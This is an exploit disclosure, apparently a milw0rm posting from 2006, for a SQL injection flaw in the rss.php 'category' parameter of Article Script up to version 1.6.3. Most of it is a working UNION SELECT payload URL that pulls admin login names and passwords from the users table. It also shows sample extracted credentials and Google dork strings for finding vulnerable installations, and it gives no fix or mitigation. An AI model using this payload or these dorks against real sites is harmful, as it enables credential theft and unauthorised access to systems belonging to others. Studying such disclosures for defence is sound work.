Article Script <= 1.6.3 (rss.php) Remote SQL Injection Vulnerability

Article Script v1.*and v1.6.3 Sql injection Script Name :Article Script Home Page:www.articlescript.org Bug Founder :Liz0ziM Mail:liz0@bsdmail.org Baba Kimdir? Tabiki Liz0ziM ------------------------------------------------------------ http://www.victim.com/articles/rss.php?category= &#39; sql &#304;njection Example: http://www.victim.com/articles/rss.php?category=-1/**/union/**/select/**/1,2,login,password/**/from/**/users/* &#60;title&#62;admin4521title&#62; ------&#62; Admin name :admin4521 &#60;link&#62;http://www.victim.com/articles/cs1120/page_1/link&#62; ----------&#62; Admin password cs1120 Dork: &#34;Powered by Article Script&#34; &#34;:: Article Script - New User Article ::&#34; intitle:&#34;:: Article Script -&#34; &#34;Last Articles::&#34; Greatz My all friend Source: http://www.blogcu.com/Liz0ziM/1312100/ # milw0rm.com [2006-11-06]